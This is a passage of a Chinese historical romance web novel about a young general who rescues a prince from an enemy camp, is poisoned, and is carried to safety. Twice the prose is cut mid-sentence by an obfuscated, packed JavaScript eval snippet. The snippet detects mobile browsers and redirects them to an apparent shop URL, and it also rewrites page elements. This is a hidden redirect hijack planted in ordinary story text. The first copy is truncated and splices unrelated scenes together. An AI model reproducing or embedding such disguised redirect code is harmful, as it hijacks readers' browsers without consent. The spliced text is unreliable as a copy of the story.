《花月无穷两心同》 1. 初见 夜色如墨,星月都被云影吞没,只剩风声贴着荒原低伏而过, 迟铎翻身下马,将缰绳绕在枯木上,动作利落,没有再回头看一眼。姣雪立在原地,马蹄稳稳踏着冻土,只轻轻打了个响鼻,便不再动作,像是早已知晓主人此行的去向与分寸,安静地候在那里。敌营就在前方不远,火光稀疏,巡逻的人影被夜风吹得东倒西歪。他算过时间,换岗刚过,正是最松的时候。 迟铎年岁尚不足十五,眉目却已生得极好。少年人骨架未成,线条尚显清瘦,乍一看,倒像是养得极好的世家公子。只是这位俊秀少年郎一袭黑衣,背负行囊,身上不见半点繁饰,长刀悬在腰侧,刀柄被磨得发亮,却暂时未曾出鞘。 他翻过营外的土坡,身形轻捷,落地时几乎无声。 第一刀封喉,第二刀补在肋下,出手利落狠绝,没有半分犹豫,与他尚显稚气的年岁极不相称。尸体被他拖入暗影之中,血迹很快被沙土吞没,连痕迹都未曾留下。 迟铎一边往营内潜行,一边在心中暗骂。 烦。 若非那碍事的皇子落入敌营,这一片今夜原该一把火烧个干净。偏偏出了岔子,营中上下围着舆图推演来推演去,言辞密不透风,顾虑却一个赛一个重,算到天亮也未必能算出个两全之策。可若再拖一夜,待天色一明,那倒霉皇子的人头一旦被悬上城门,事情便不再是救与不救的问题了。到那时,朝廷第一件事,恐怕便是质疑迟家拥兵自重,坐视皇子身死。反与不反,反倒由不得他们。 迟铎坐在帐中,听父亲麾下的将军与谋士反复推敲,话说得滴水不漏,却始终不敢落锤。他听得心烦意乱,指节在刀柄上敲了又敲。偏偏正是少年气盛的时候,天不怕地不怕,耐心很快就耗尽了。 终于,他起身,牵马,上鞍。 一人一骑一刀,未告任何人,也未留后路,更谈不上接应。 他心里只有一个念头:皇子死在哪里都行,唯独不能死在迟家的地界。 他行动极快,身影在风中掠过,几乎未曾惊动半点声响。零星几名守卫尚未来得及出声,喉管已被割开,倒下时的闷响,也一并被狂风与夜色吞没。 迟铎一路向前,循着营帐的分布潜行,寻找关押皇子的所在。忽然,侧旁一顶营帐内传来细微动静,不是脚步,也不像挣扎,而是被刻意压低的喘息声。 迟铎脚下一顿,反手抽刀,贴着帐壁潜了过去。 下一瞬,他掀帘而入,厚重的血腥味先一步扑面而来。地上横陈着两具尸体,皆是匈奴人的相貌。一人喉间被割开,另一人胸口塌陷,显然是被重物生生砸死。血尚温热,顺着毡毯缓缓往下淌。 帐内站着一个与他年岁相仿的少年。锦袍破损,衣角染血,袖口挽起。他正低头,将一柄短刃自尸体身上抽出,动作不急不缓,利落得不像是第一次见血。 听见动静,那人抬眼,两道视线在半空中骤然相撞。 迟铎下意识皱了下眉,原先那点判断,在这一眼之下尽数作废。眼前这人,与他想象中的“无能碍事皇子”,相去甚远。 被人撞破行凶现场,对方却未显出半分急色,只直直看了过来,目光冷静而审慎,像是在衡量,眼前这个闯入者,是需要一并处理的麻烦,还是另有用处。 裴与驰移开视线,将刀上的血迹在尸体衣襟上抹净,这才开口,语声不高,却字字分明。 “来得有点慢。” 迟铎一时无言。这语气里的居高临下,倒与他对皇子身居上位、惯于使唤人的想象并无二致,显然在电光火石之间,对方已经对他的身份做出了判断。他站在原地,扫了一眼地上的尸体,又看向对方手中的刀,语气里不见半分恭敬:“你若杀得再快一点,我就不用来了。” 裴与驰看了他一眼,目光在他握刀的手上停了一瞬,像是在确认什么,随后轻轻点了下头。高傲致意,溢于言表。 迟铎心里冷笑。自己失手落入敌营先不提,竟还反倒嫌人来得迟了,好大的派头,倒像是在暗指迟家上下不过是多此一举的摆设。就算这位皇子武艺不弱、下手狠辣,他也不信对方真有飞天遁地的本事,能在无马无援、四面皆敌的情况下,独自从这里杀出去。既如此,又何必劳他亲自走这一遭。 迟铎扯了扯嘴角,笑意却未达眼底。 “小的无能。”他慢吞吞地开口,手上敷衍地作了个揖,语气听不出半点诚惶诚恐,“不如三殿下手眼通天,算无遗策,索性是早就算好了,要身陷囹圄——”说话间,他的目光故意往地上一扫,那两具尸体的血迹正在毡毯上渐渐发暗,“就为了杀这两个,” 迟铎略一停顿,唇角勾起一点几不可察的弧度:“匈奴小兵。” 裴与驰听了,却并未动怒,也未斥他以下犯上,只是看着迟铎,神色平静,仿佛这番话早在预料之中,连反应都省了。“迟小将军,”他忽然开口,语调不疾不徐,“若我今夜死在这里,黄泉路上倒也不至于冷清,有迟小将军一家人相陪,想来还能切磋几招。” 迟铎看了裴与驰一眼,裴与驰坦然回望。片刻之后,迟铎没再耍嘴皮子,反手把身上的包袱扔了过去,“穿上。” 里面是一套夜行服,和他身上的制式一模一样。皇子的锦袍在夜色里太过显眼,不适合活着走出去。裴与驰接过包袱,没有多问一句,利落地换上。这位迟小将军方才那句话并非全无道理。敌营地形复杂,他又不熟悉路线,更无马匹可用,眼下最稳妥的法子,便是让迟铎带路,哪怕手段未必客气。 帐外忽然传来脚步声。迟铎已然转身,手搭在帘边,侧头丢下一句:“跟紧点。”两人一前一后出了营帐。夜风迎面灌来,将帐内残留的血腥气吹得干干净净。 回去的路并不安静。迟铎行动极快,落脚、转身、出刀皆无多余声响。本以为身后多少要慢上一拍,余光一瞥,却见那人始终贴在侧后方,步伐稳准,半点不乱。翻栅、避火、掠影而行,数次险处皆是同时落地。 迟铎心里微微一顿。这位在宫中长大的三皇子,显然并非临时起意学来的几招花架子。身手干净,出力收放有度,分明是自幼跟着教习,按真刀真枪的路子磨出来的。 破空声骤然逼近。迟铎几乎是凭着靶场里千百次练出来的本能反应,下意识偏头,暗箭擦着耳侧掠过,钉入身后的木柱。 他们被发现了。 破空声接连而至。第二支箭擦着帐角掠过,钉进地面,尾羽还在轻颤。火光骤亮,有人高声呼喝,匈奴语在夜色里炸开,巡营的火把迅速朝这边合拢。 迟铎没回头,脚下却已提速,“走左边。”他低声道。话音刚落,人已贴着阴影掠出,借着营帐之间的空隙疾行。裴与驰紧随其后,没有迟疑,几乎是同时变向,步伐踩得极准,半步不乱。第三支箭从侧后方射来。迟铎正要偏身,余光里却见一道黑影先一步掠过。裴与驰抬手一拨,短刃贴着箭杆斜斜一挑,那箭锋瞬间偏了方向,擦着两人身侧钉进土里。 迟铎心里骂了一句。 麻烦,这位皇子显然比他预想的还要棘手。 前方忽然亮起一排火把,两名敌人横在去路上。迟铎脚下一顿,反手抽刀,没给对方半点出声的机会,贴身一进,刀锋抹过喉口。尸体尚未倒地,裴与驰已自侧面补上第二击,干脆利落,两人具尸体几乎同时倒地。 迟铎侧头看了他一眼。裴与驰已经收刀,目光越过尸体,落在更远处的火光上,神情冷静,像是在暗中衡量去路,“右侧营栅有缺口。”迟铎一愣,随即反应过来。这一路上,对方并非只是紧跟其后。那些营帐、火位、巡逻间隙,早已被他一并记下。 “没想到三殿下不仅算得准,还看得清。”迟铎冷声道。 “看过地图。”裴与驰回得平淡,“比你们的军帐画得细一点。” 迟铎一时无言,这一瞬间,他心中忽然有了答案,为什么是这位三皇子被派来了边疆。 火光已经逼近,呼喝声此起彼伏,匈奴语混着铁器碰撞的声响,在夜色里迅速拉近。迟铎没再多说一句,脚下一转,带着人往右侧疾掠而去。那处营栅果然有缺。原本该是堆放辎重的地方,向来进出频繁,木栅被拆过又草草补上,只留了个不太显眼的缝隙。迟铎心里一紧,这种地方,若不是提前看过图,很难在夜里一眼辨出来。 迟铎先一步翻过栅栏,落地时顺势一滚,已稳住身形,回身伸手。裴与驰却未借他之力,身形一错,直接越过栅栏,落地稳当,脚下几乎没有多余声响。迟铎“啧”了一声,有点懊恼自己方才没忍住发了善心,结果对方半点不领情。 栅栏后的地势骤然一低,是片废弃的辎重空地,地面坑洼不平,杂草没过脚踝。火把的光被木栅挡住了一半,只在地上投下零碎晃动的影子。迟铎站稳身形,刀锋一转,已然挡在前头。又是一阵破空声。箭来得极快,角度刁钻,显然不是胡乱放的。迟铎脚下一错,贴着地势低伏而行,借着阴影避开第一轮箭雨,顺手一刀劈断探进来的长枪。 裴与驰没有退后。他在迟铎侧后一步的位置停下,短刃在手中一转,下一瞬便反手掷出。刀锋擦着夜色飞掠而去,正中那名正要放箭的匈奴人喉间,对方连叫声都未及发出,便从高处栽了下来。迟铎余光一扫,脚步未停,“左边。” 裴与驰已然看见,两人几乎同时变向,一前一后贴着废木堆掠过去。追兵被地形拖慢了半拍,火把的光一时照不进来,只剩杂乱的脚步声在夜色里逼近。迟铎抬手示意停步,下一刻,刀锋已贴着暗影送出。第一个追上来的匈奴人刚露出半个身子,便被他一刀封喉,尸体被顺手拖进草丛。第二个几乎同时倒下。裴与驰收刀时动作极轻,血溅在夜行服上,很快便被夜色吞没。 风声里忽然多出了一点别的动静,低低的一声嘶鸣,声音不大,却熟得不能再熟。 迟铎脚下一顿,侧耳听了一瞬,随即转了方向,带着人往荒坡后的黑影里绕去。枯木下,一匹白马静静立着。 姣雪站得很稳,缰绳松松垂在一旁,马蹄踏在地上,连位置都未曾挪动。听见动静,它抬了抬头,鼻息喷出一口白气,看清来人,便低低地打了个响鼻。 迟铎伸手在它颈侧拍了一下,“乖。”姣雪往前凑了一步,亲昵地蹭了蹭他的肩,像是在抱怨等得太久,又像是在确认人安然无恙。裴与驰站在一旁,看了一眼。这匹马肩背修长,肌肉线条流畅,眼神安静却警惕,显然并非军中常见的战马。 “它会认人。”迟铎低声道。 裴与驰应了一声,没有多问。 远处火光仍在晃动,追兵的动静被夜色拉得断断续续,显然已经有人发现了这片空地。迟铎翻身上马,动作利落,抖缰的同时侧头看了裴与驰一眼,“上来。” 语气不容置喙。裴与驰看了眼姣雪,又看了眼渐近的火光,没有迟疑,踏着马镫翻身而上,在他身后坐定。姣雪前蹄一抬,转身便走,马蹄踏碎夜色,风声骤然拔高。身后的呼喝声骤起,却很快被甩在身后。迟铎收紧缰绳,姣雪顺着熟悉的方向疾驰而去,夜色在两侧飞快后退。 两人一马,没有回头。敌营深处怒喝声四起,新立的匈奴王震怒之下,下令追击,不必留活口,只要尸体。 马蹄踏碎夜色,风声在耳畔呼啸而过,火把的光被迅速甩在身后,却并未完全消失。追兵显然不止一队,箭矢破空而来,方向凌乱,却封得极死。 箭雨里那一下,并非全然避开。 一支箭擦着迟铎的肩臂掠过,只破了层皮。他当时并未在意,反手一刀劈断箭杆,甚至没低头看一眼,便继续策马向前。风太大,夜太深,这点皮外伤,在他看来算不上什么。 直到夜色渐深,马速稍缓,他才察觉出不对。 不是疼,是热。热意从伤口处一点点漫上来,顺着手臂往上窜,像是被什么东西点着了火,沿着脊背一路烧进骨头里。迟铎握着缰绳的手开始发抖,视线也跟着发虚,前方的夜路在眼前晃成一片。 姣雪最先察觉到异样,马蹄的节奏微不可察地乱了一瞬,步伐随之慢了下来。正是这一瞬,身后火把骤然迫近,光影在夜色里猛然拉长。裴与驰伸手扣住迟铎肩臂,将人强行稳住,指尖触及皮肤,温度异常,他神色顿沉,几乎不假思索,直接下了判断:“箭上有毒。” 迟铎张了张口,尚未来得及出声,眩晕已压得他低下头去,气息骤乱。裴与驰不容他多言,冷声喝止:“停。”语气森然,不容置喙。迟铎下意识要反驳,却被他一把按住,直接夺过缰绳。姣雪被强行受制,前蹄刨地,低低嘶鸣一声。 “你已带不了路。”裴与驰语声冷硬,“再走,只会一并送命。” 迟铎咬紧牙关,额角冷汗渗出。裴与驰翻身下马,动作极快,将人从马背上拽下,半拖半扶地带入一旁低洼之处,反手折断箭尾,挑开伤口,黑血随即涌出。迟铎闷哼一声,却强自忍住,没有挣动。裴与驰一眼扫过血色,眉峰彻底压低,沉声道:“听着,自此刻起,由我引路。” 迟铎抬眼,视线已有些散乱。裴与驰却未再看他,转身牵起姣雪,带着人往更暗的方向折行,避开正途,专拣荒草深密、地势紊乱之处前行。追兵仗马疾驰,惯走直线,此等地形反倒施展不开。 迟铎被他半拖着行了数步,脚下忽然一虚,险些跪倒。裴与驰伸手托住他的肩,力道沉稳,“站稳,靠着我。”迟铎咬牙不语,身上热意却愈发汹涌,呼吸沉重,毒性发作极快,烧意层层叠起,意识被逼得愈发狭窄。 马蹄声再度迫近。裴与驰抬眼辨了辨夜色,迅速变向,带着人拐入一片乱石坡,松开缰绳,任姣雪自行择路攀行。碎石声被夜风吞没,火把一时照不上来,追兵冲至坡下,只余呼喝声在夜色里四散。 裴与驰趁隙将迟铎按在背风的岩石之后,动作利落,将人放倒。迟铎意识已然发散,额前碎发尽湿,唇色却被烧得发红。裴与驰蹲下身,毫不迟疑地撕开他肩臂衣料,细看伤口,毒血已出大半,伤缘却仍泛着暗色。 “命大。”裴与驰低声道,也不知是评断,还是陈述。 迟铎勉强睁眼,视野中人影重叠,嗓音嘶哑,却仍挤出一句:“走。”意识虽乱,心中那点执念却未散:人既救出,便不可死在迟家地界。 裴与驰并未应声。他取出水袋,递至迟铎唇边,语气冷肃:“喝。”迟铎本能咽下几口,却被呛得喉间一紧。裴与驰当即扣住他的下颌,稳住力道,直到水尽数咽下,方才松手。 远处的马蹄声渐渐散开,追兵显然被引错了方向。裴与驰站起身,最后看了一眼夜色,确认暂时无虞,这才低头看向地上的人。 迟铎已烧得意识不清,却仍死死攥着刀柄,指节泛白。裴与驰俯身,伸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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昨夜若未将人带出,迟家上下难辞其咎;而即便他被弃在半途,只要三皇子脱身,也无人会追究半分。可偏偏,对方为他折返城中,冒险寻医,又被拖在这荒山洞里生火避人——这些事,本就不在三皇子的责任之内。 裴与驰闻言,目光在他脸上停了一瞬,随即移开,语气平常:“昨夜若没有你,我走不出来。” 这话说得不轻不重,却分量十足。迟铎心中微动,对这位在敌营中单枪匹马杀人、又一路带着他脱身的三皇子,确实多了几分敬重。他正欲报上姓名,让对方不必再一口一个“迟小将军”,毕竟也算过命的交情。 “属下名迟铎,殿下唤名字便可。先前多有冒犯,实在——” 话未说完,裴与驰挑了下眉。刺头少年忽然自称“属下”,倒是新鲜,他却未多言,只当默认,也显然并不打算计较先前那些以下犯上的言语。 迟铎见他独自坐在洞口生火,以身挡风,心中愈发过意不去,忍不住道:“殿下还是过来歇着吧,属下已无大碍。” 裴与驰看了他一眼,语气依旧平静:“不必,托迟小将军的福。” 迟铎:“……?” 三皇子仿佛未察觉他的疑惑,话锋一转,像是在下结论:“人的意志,原来能坚定到这种地步,倒是叫我开了眼界。” 迟铎:“……” “烧成那样,我怎么掰,嘴都掰不开,灌进去的药,也尽数吐了。”裴与驰看了眼火堆,语气客观得近乎冷淡,“再浪费下去,药便没了。” 他说着抬眼看向迟铎,目光意味深长:“无奈之下,只好亲自喂,用嘴。药我也因此喝下不少,现在身体康健,不必多想。” 迟铎:“…………” 零碎的记忆忽然翻涌而上。高烧不退,意识混沌,苦涩的药味在唇齿间散不开,怎么都咽不下去,后来似乎有人俯身而来,扣住他的下颌,气息近在咫尺,药汁被一点一点送入口中,带着不容拒绝的温度。 迟铎彻底沉默。 这回是真欠大了。本是单枪匹马救人,结果反倒被人一路救着;命欠下不说,还搭进去点说不清、也不太想细想的东西。早知这位三皇子文韬武略样样精通,他昨夜就该老老实实回营睡觉。 迟铎默默将方才那点“过命交情”的念头掐灭。 还是算了。 君子之交,淡如水。此生若能不再相见,实在再好不过。 洞外的风声渐歇,火堆里枯枝噼啪作响,火光在岩壁上轻轻跳动。迟铎垂着眼坐了一会儿,像是在消化方才那些不太愿意回想起的片段,直到额角的热意被火烤得更明显,才勉强抬起头来。 “殿下既已安然,”他语气放得极轻,“不必再为属下耽搁行程。迟家的人,很快便会循迹寻来。” 裴与驰闻言,抬眼看了他一瞬,目光在他尚未完全褪去红潮的脸上停了片刻,像是在评估这话的可信度,随后才慢悠悠地开口:“迟小将军现在这副模样,倒是很有底气。” 迟铎一噎,下意识挺直了背脊,正要再说自己并无大碍,肩臂却忽然一阵发虚,力道跟着散了。他察觉不对,硬生生把那点踉跄压了下去,脸色却到底白了一分。 裴与驰看得分明,却没立刻拆穿,只将匕首收回鞘中,起身拍了拍衣摆上的灰尘,语气淡淡:“休息好了?” 迟铎几乎是条件反射般答道:“好了。” 话音刚落,他便站起身来,结果脚下一软,整个人往前一倾,险些撞进火堆里。下一瞬,肩上一沉,一只手稳稳托住了他,将那点狼狈尽数拦下。 裴与驰站在他身侧,力道不轻,语气却依旧平静:“看来确实好了。” 迟铎耳根微热,正要挣开,却被对方顺势扣住,半点不给他逞强的余地。 “实在不行,”裴与驰像是在认真权衡,“就还是昨夜那样。” 迟铎一愣:“哪样?” 裴与驰低头看了他一眼,语气淡得不能再淡:“抱着走。” 迟铎:“……” 一些极不合时宜的画面忽然在脑中浮现,他喉结滚了一下,下意识要拒,却发现自己连站稳都费力。毒性尚未完全退去,烧意仍在骨子里翻腾,若真要继续赶路,只怕撑不了多久。裴与驰似乎并不打算等他的回答,只将人往身侧一带,低声道:“路不短,别再拖时间。” 迟铎心头一紧,下意识反驳:“殿下——” “我抱得动。”裴与驰打断他,语气平直,像是在陈述一件再寻常不过的事实。 迟铎彻底说不出话来。 他这一趟,本是来救人的,结果从头到尾,倒像是被人接管了性命与去路。再争下去,未免显得太不识好歹。迟铎只得咬了咬牙,勉强点头,心里却已经把自己昨夜那点轻狂骂了个遍。 裴与驰见他不再挣扎,动作干脆,将人稳稳托住,转身往洞外走去。姣雪在外头听见动静,抬头看了过来,见两人出来,轻轻甩了甩尾巴,站得极稳。 山路幽深,天色将明未明,晨雾在林间浮动。裴与驰步伐不急,却极稳,像是早已习惯在这种地形中行走。迟铎靠在他肩侧,能清晰地感觉到对方的呼吸起伏,心里那点说不清的别扭与无力,一时竟不知该往何处安放。 他闭了闭眼,低声道:“殿下……此情,迟家记下了。” 裴与驰脚步未停,只淡淡回了一句:“先活着再说。” 2. 喂药 此行虽是逃命,裴与驰却并未折向城外,反而领着人往城中去。天色将明未明,街巷空旷,行人寥寥,一人抱着一人,又牵着一马的情形,竟也未引来旁人注目。他在两军交界处拐了个弯,脚步熟得过分,像是早已将这一带的路径记在心里。 迟铎被他抱在怀中,意识尚未完全清醒,只模模糊糊觉得方向不对,却连开口的力气都没有。再抬眼时,面前已是一处宅院。门楣悬着写有汉文的牌匾:医馆。大门紧闭,显然尚未到开门的时辰。 裴与驰脚步未停。 下一瞬,只听一声闷响,木门被他一脚踢开,门闩断裂,晨风灌入,动静在寂静的街巷里显得格外清楚,半点遮掩也无,好一副私闯民宅的歹人作派。 屋内,那位昨夜才被强行掳走、好不容易归来,熬到天亮方得合眼的老医,被这声动静惊得从榻上坐起,外衣尚未来得及系好,便匆匆迎了出来。待他看清来人,神情明显一滞,眉心猛地一跳,整个人像是被一口气生生噎住。 还是这位。 还是那张冷硬的脸,还是那副不敲门的做派,更要命的是,怀里抱着的那个人,也半点没换。 迟铎:“……” 他忽然对三殿下口中那句“进城掳了个医者”,有了极为清晰的认知,这话不是谦辞,更不是夸张。 老医心中还未来得及哀叹命苦,目光已不由自主落到那人怀里的伤者身上,神色已然紧张起来。昨夜开的方子、熬的药,在脑中飞快过了一遍,生怕哪一步出了差池,惹得这位黑面阎罗回头来算账。 “先生的方子很有效。”那人开口,听起来倒不像是来索命的,“劳烦再诊一番,再照昨夜的方子熬一副。” 老医一怔,下意识道:“那药性偏猛,不可过量。老朽昨夜是按着份量熬的。” 裴与驰“嗯”了一声,“没能足量喝完。”他说完,低头看了一眼怀里的人。 迟铎:“……” 山洞里那些原本混沌不清的片段,被这一眼生生拽了回来。苦涩的药水顺着唇角淌下去,他死死咬着牙关,怎么都不肯张口。后来似乎有人扣住了他的下颌,低声斥了一句什么,气息逼近,唇齿被迫分开,药汁被一点一点渡入口中,退无可退,他本能地想躲,却被牢牢按住,连呼吸的节奏都被夺走,只能被迫吞咽。 他下意识垂下眼,只想把记忆沉入脑海深处。 老医哪还敢多问,连连应下,取脉、开方、熬药,身手麻利地不似这个年纪。递过药碗时,连眼都不敢抬。裴与驰接过药,在榻边坐下,看了迟铎一眼:“能坐稳么?” 迟铎下意识点头,撑着床沿想要起身,眼前却猛地一晃,手臂一软,整个人便往前倾去,下一瞬,便被人托住。 裴与驰一手扶着他的肩,将人按回榻上,早有预料:“看来还是不行。”他说着端稳药碗,另一只手托住迟铎的背,让人靠在自己怀里靠稳:“喝药。” 药碗送到唇边。 迟铎想抬手,却发现连碗沿都碰不稳,只能靠着那只手臂,一口一口咽下去。苦味在喉间散开,那点刚压下去的热意又顺着血脉烧了上来。这一次,他喝得很快,快得连老医都忍不住多看了一眼。那方子下得并不轻,寻常人多半要被苦得皱眉。 至于是迟小将军完全不怕苦,还是不想再来一次昨夜那种喝法,谁也没追究。总之,碗很快见了底。 药喝完,歇了片刻。老医见病人气息渐稳,便借口去洗药罐,在屋内外忙碌起来,脚步放得极轻,恨不能原地消失,免得那位煞星忽然又想起什么,开口再提要求。 裴与驰的注意力却始终落在迟铎身上。他看了看他的脸色,又伸手探了探脉息,像是在判断药效。迟铎自己也能感觉到,四肢的力气正在慢慢回转,那股烧意被压下去不少,药确实见效。 下一瞬,裴与驰突然伸手,在他身前身后摸索起来。 迟铎:“?” 他整个人一僵,下意识想躲,却又躲不开。虽说同为男子,可昨夜加上方才,这会儿再被这样近身,他难免有些不自在,脑中一瞬闪过的念头极其不敬。 ……三皇子这是发的什么疯? 裴与驰却像是半点没察觉他的僵硬,动作不停。片刻后,他停下手,语气自然:“钱在哪?” 迟铎:“……?” “我身上没钱。”三皇子终于肯赏脸解惑,“先前被搜干净了。” 他说完扫了一眼医馆,语气不疾不徐:“我们这是打算赖账? 这话问得太过理直气壮,仿佛他只是个身无分文、被迫跟来的无辜好心人。至于医馆那两次被踢断的门闩,以及老医此刻缩在角落里假装忙碌的身影,则一概不在他的考虑之中。 迟铎没再多说什么,很利索地从胸口内袋摸出一锭银子,放到案上。 “多谢三——”话到一半,他目光掠过一旁缩着身子的老医,改了口,“多谢公子相救。” 说完,又向老医拱手行了一礼,声音虽低,却郑重。 “也多谢先生施救,在下铭记在心。” 老医低头看着掌心那锭银子,一时竟不知该如何开口。本以为昨夜能保住性命,已是天大的侥幸,谁料救下的却是两位身份不轻之人。再想起交界处那一阵阵动静与喧嚣,他心里多少已有了些猜测,只是不敢明说。同为汉人,他原想将银子推回去,可话到嘴边,却又生生顿住。 裴与驰已然看出他的迟疑,语气平淡,像是在随口提醒一件无关紧要的事。 “此地不宜久留。”他说,“先生既有盘缠在手,还是早些做打算为好。” 话说得含蓄,却点得分明,这片地界,很快便不会太平。 老医指尖一紧,终究没有再推辞,只低低应了一声,将银子收起。片刻后,他转身出了屋,去了外头的马厩,替那匹白马添草喂水,动作比平日里都要仔细几分。 屋内,另一个听见这番话的人却一时没有出声。 迟铎沉默了片刻。方才那几句话落得太轻,却分量太重,他心里转了又转,终究还是没能按住那点少年人特有的直率,又或许,是念着眼前这人救过他性命,又一路不嫌麻烦地将他带来医馆的这份情谊。 他抬眼看向裴与驰,语气压得很低,却问得直接:“圣上……准备好了?” 裴与驰看着他,像是没料到他会在这个时候开口,随即眉梢微挑了一下,“那要看迟将军。” 迟铎一时无言,这话不轻不重,却正中要害。 三皇子话里的意思,其实再明白不过。此行边疆,不过是借慰问之名,行监军之实。那位真正要看的,从来不是匈奴动向,而是这片边境,究竟是裴家的疆土,还是迟家的私地。看清之后,才轮得到谈仗要不要打,打谁,又该怎么打。 这些话,迟铎并非第一次听。 父亲帐中,那些谋士早已反复推演过,连三皇子此行的来由,也拆得清清楚楚。只是旁人口中的分析,总隔着一层;而今夜,这些话由裴与驰亲自点出,意味便全然不同了。 三皇子的生母沈氏,宠冠六宫多年。先后早逝,中宫空悬,却始终未立继后,并非皇帝无意,而是不能。当年皇帝初登大宝,根基未稳,需借外戚稳局,太子之位便顺势早早定下,由左相闻铮一系扶持至今。 从名分上看,这盘棋早已落定。 可朝局从来不只看名分。沈氏止步于皇贵妃,沈家却未止步于此。数十年间,根基渐深,外祖沈研位列右相,与闻铮分庭抗礼,朝堂之上,早已成势。 而三皇子,正是在这样的局面中长大。子凭母贵,由圣上亲眼看着长成,荣宠不绝。年岁尚幼时尚不足以为惧,可随着锋芒渐露,朝中暗暗站边的人,早已不在少数。 这一点,迟铎如今是亲眼所见。 无论是边疆营帐中的临机决断,还是敌营夜行时的杀伐果断,又或是今夜这番不加遮掩的交底,他不得不承认,这位三皇子,已然站在了足以角逐那张龙椅的位置上。 若只论能力,他并不输;所欠的,不过是时间。 也正因如此,裴与驰今夜的话,才更显得意味深长。迟铎一时看不明白,这般直白的交底,究竟是有意为之的拉拢,试探迟家日后会选哪一边站;还是…… 夜色之中,那人半拖半抱,将他一步步从毒箭与追兵里拖出来的画面,忽然浮上心头。 若是前者,是权谋;若是后者,便是情谊,是一场出于过命之谊的提醒。 可偏偏,这两者在此刻重叠得太过彻底。 迟铎心里很清楚,这样的话,裴与驰不可能未经权衡便说出口。 他没有立刻接话,一旦开口,不论应下,还是回避,都等同于在这盘棋上落子。 他抬眼看向裴与驰。那人神色如常,仿佛只是把该说的话说完,至于听与不听、如何选择,全凭他自己。 屋内的沉默尚未落定,外头忽然传来一阵急促的脚步声。 老医几乎是小跑着进来的,手里抱着一包已经扎好的草药,额角还带着汗。“我方才去喂马,”他压低声音,语速却快,“在街口看见了匈奴人的踪迹,一行十来个,正往这边摸过来。”他说着,将怀里的草药往前一递,又从袖中掏出几条干净的布带和一小包药粉,一并塞过来。“我又抓了点药,路上以防万一,”老医顿了顿,声音更低,“这些是包扎伤口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239940|197682||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用的。” “多谢。” 裴与驰伸手接过,神色未变,却郑重地朝他行了一礼。这一礼行得极标准,脊背笔直,既不敷衍,也不倨傲。倒不像是对着边地的乡野医者,更像是在殿中,向授业之师行礼。 老医一怔,下意识侧身避了避,连声道不敢。 迟铎站在一旁,看得一愣。方才踹门闯宅、半夜“请”人出诊的是这位;此刻拱手道谢、礼数周全的,还是这位。 裴与驰却已收起礼数,将草药妥帖收好,转身看向迟铎,语气重新变得干脆:“走还是抱?” 迟铎没接话。他直接翻身下榻,俯身穿靴。动作起得略急,脚下有一瞬不稳,却很快被他自己压了下去。再抬头时,步伐已然利落,站姿笔直,仿佛方才那点虚弱从未存在过。 “走。” 话音落下,他已率先推门而出。 天色已亮,阴云低垂,厚雾弥漫,将远处的视线尽数吞没。断断续续的马蹄声自街巷深处传来。迟铎走在前头,裴与驰落在他身后半步的位置。出了医馆没多远,迟铎便察觉到裴与驰在看他。他没有回头,只在拐进巷口时顺手扶了下墙,借力转身。动作极轻,快得几乎不露痕迹。 “还能撑多久?”裴与驰忽然开口。 “到出城。”迟铎答得很快,又补了一句,“放心。” 裴与驰脚步未停,只淡淡应了一声。 街口忽然传来人声。两人几乎同时贴进阴影里。几名匈奴骑兵自巷外疾驰而过,马蹄踏地声沉重而急,显然是被引去了别处,又折返回来搜人。待马蹄声远去,两人才重新迈步。 出城的路不算远。为避开主道,他们穿行坊间小巷,翻过低矮土墙,又趁着早市尚未开张,从后门溜进马厩。白马立在最里侧。见到迟铎,耳朵立刻竖起,鼻息轻喷,蹄子不安分地踏了踏。迟铎伸手按在它颈侧,低声道:“安静。” 姣雪低低嘶鸣一声,随即前蹄踏出,马身很快提速。 城门近在眼前。 风声扑面而来。迟铎收紧缰绳,背脊在疾驰中微不可察地绷紧了一瞬。那点毒性并未彻底散去,只是被他强行压住。 下一刻,一只手覆了上来。 裴与驰自后扣住他的腰,力道不重,却恰到好处,牢牢地稳住了迟铎的身体。 “别逞强。”他说。 迟铎没有挣开,裴与驰的手仍扣在他腰侧,力道未变。两位少年在马背上紧贴而坐,随马势起伏,谁也没有再挪开。昨夜同样是一骑,却各自绷着力道,一个控马,一个撑着自己,贴得近,却分得清。 此刻却不同了。 至少,对迟铎他自己来说,抛开家族、立场与那些尚未落子的事不谈,这一程,他是愿意把命押在这位三皇子身上的。 两人一马疾驰而行。雾气低垂,天地混沌,视野尽失。身后马蹄声时断时续,始终追不上来。追兵几次合围未成,反被雾气扰乱阵形,只得在原地兜转。 直到熟悉的营火在雾中亮起。迟家的营地,近在眼前。这一口气,迟铎撑得太久,刚过界碑,他握着缰绳的手便再没了力气,指节一松,整个人顺着马背往前栽去。裴与驰反应极快,几乎是在他失力的瞬间,便伸手将人揽了回来。马尚未停稳,他已翻身而下,一步踏实,顺势把人稳稳接进怀里。动作干脆利落,没有半点犹豫。 守在营门前的亲兵最先看清来人,愣了一瞬,随即高声通报。营中火把齐亮,迟将军已披甲而出,脚步极快。 他看到的,是一身夜行服的三皇子,三皇子怀里,抱着同样一身夜行服、意识不清的儿子。那向来天不怕地不怕、敢瞒着他单骑闯敌营的刺头,此刻安静得出奇,头垂在对方肩侧,连挣扎的力气都没有。 营门前一瞬死寂。 副将、谋士、亲兵,全都噤了声,一时间竟无人敢动。不清楚是该跪地请罪,还是该上前迎驾?是先恭贺三皇子平安归来,还是先去看自家小将军的生死? 